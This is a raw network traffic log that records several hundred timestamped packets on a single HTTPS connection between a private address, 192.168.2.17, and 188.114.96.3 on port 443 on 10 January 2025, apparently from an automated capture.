Jan 10, 2025 20:50:05.676287889 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676311970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676346064 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676717043 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676732063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676803112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676836967 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676836967 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.676841021 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676857948 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.676871061 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677040100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677175045 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677191973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677385092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677397013 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677407980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677453995 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677568913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677654982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677668095 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677757978 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677768946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677923918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677941084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.677964926 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.677978039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.678009987 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.678329945 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.762981892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763011932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763092041 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763108015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763144970 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763147116 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763147116 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763159990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763181925 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763221979 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763221979 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763231039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763338089 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763339043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763633966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763657093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763710976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763719082 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763730049 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763766050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763863087 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763863087 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763871908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763890982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763920069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763931036 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763933897 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763950109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.763961077 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.763982058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764008045 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764300108 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764317989 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764379025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764385939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764477968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764508963 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764513016 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764525890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764540911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764621019 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764734983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764754057 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.764847994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.764853954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.817888975 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.850050926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850070953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850116014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850141048 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850150108 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850171089 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.850173950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850193024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850279093 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.850279093 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.850455999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850476027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850625038 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.850632906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850786924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850806952 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850869894 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.850878000 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.850919008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.851068974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851089954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851218939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851238012 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.851253986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851270914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851320982 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.851334095 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.851579905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851598024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851780891 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.851793051 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851905107 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.851998091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.852178097 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.852178097 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.852178097 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.852189064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.852533102 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937156916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937191963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937272072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937288046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937309980 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937356949 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937377930 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937383890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937402010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937477112 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937517881 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937537909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937571049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937571049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937577963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937612057 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937664032 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937694073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937721014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937804937 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937804937 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937812090 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937860966 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937908888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937957048 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937974930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.937975883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.937989950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938014030 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938030958 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938128948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938355923 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938376904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938421965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938432932 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938441992 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938466072 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938477039 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938513994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938513994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938520908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938740969 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938761950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938867092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.938877106 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938944101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.938963890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.939023018 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:05.939037085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:05.993855953 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024195910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024216890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024261951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024296045 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024315119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024331093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024338961 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024391890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024406910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024406910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024413109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024430990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024516106 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024516106 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024679899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024710894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024771929 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.024776936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.024847984 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025036097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025053024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025167942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025175095 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025249958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025269032 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025274038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025444031 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025449991 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025506020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025523901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025600910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025600910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025607109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025764942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025796890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.025891066 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.025896072 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.073873043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115014076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115034103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115127087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115132093 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115154028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115169048 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115230083 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115252972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115272999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115350008 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115355968 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115355968 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115411043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115422964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115439892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115531921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115569115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115609884 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115629911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115629911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115629911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115634918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115650892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115731001 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115751982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.115839005 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115839958 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.115856886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.116255999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.116281033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.116425991 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.116440058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.169899940 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.201853037 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.201869011 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.201914072 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.201946020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.201961994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.201971054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.201998949 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202023983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202028990 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.202056885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202079058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.202125072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.202265978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202280998 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202354908 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.202362061 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202591896 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202609062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202689886 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.202699900 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202712059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.202905893 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.202919006 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203027010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203035116 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.203043938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203058004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203092098 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.203134060 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.203139067 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203212976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.203466892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203483105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203533888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203557968 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.203563929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203579903 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.203600883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.203681946 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.288630962 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.288656950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.288744926 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.288759947 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.288852930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.288861990 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.288871050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.288883924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.288948059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.288948059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289067030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289241076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289258003 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289297104 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289297104 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289303064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289331913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289362907 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289637089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289660931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289753914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289761066 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289761066 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289767027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289782047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289846897 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.289854050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.289989948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.290065050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.290080070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.290143013 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.290160894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.290240049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.290313005 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.290328979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.290400982 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.290406942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.290550947 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.375530958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.375562906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.375627041 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.375678062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.375706911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.375726938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.375765085 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.375765085 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.375822067 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.375837088 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376094103 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.376105070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376117945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376138926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376178026 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.376184940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376295090 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.376460075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376475096 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376548052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.376555920 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376574993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.376748085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376768112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376940012 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.376946926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376959085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.376966000 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.377034903 CET	49803	443	192.168.2.17	188.114.96.3
